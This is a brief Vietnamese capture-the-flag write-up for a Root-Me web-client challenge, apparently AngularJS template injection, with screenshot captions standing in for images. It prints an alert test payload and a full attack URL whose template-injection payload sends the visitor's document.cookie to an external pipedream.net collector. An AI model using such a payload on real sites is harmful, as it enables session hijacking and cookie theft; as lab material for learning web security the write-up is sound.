Đầu tiên vào trang web thì không thấy filter

Graphical user interface, application

Description automatically generated

Thực hiện tấn công bằng lệnh {{$on.constructor("alert(1)")()}}

Graphical user interface, application, Word

Description automatically generated

[http://challenge01.root-me.org/web-client/ch35/?name={{$on.constructor("document.location.href=\"https://eon5wu9esj2rcgn.m.pipedream.net?cookie=\"+document.cookie")()}}](http://challenge01.root-me.org/web-client/ch35/?name=%7b%7b$on.constructor(%22document.location.href=\%22https://eon5wu9esj2rcgn.m.pipedream.net?cookie=\%22+document.cookie%22)()%7d%7d)

Ta sẽ thực hiện truyền payload vào concat

Graphical user interface, application, Word

Description automatically generated

Ta có được flag

Graphical user interface, text, application, email

Description automatically generated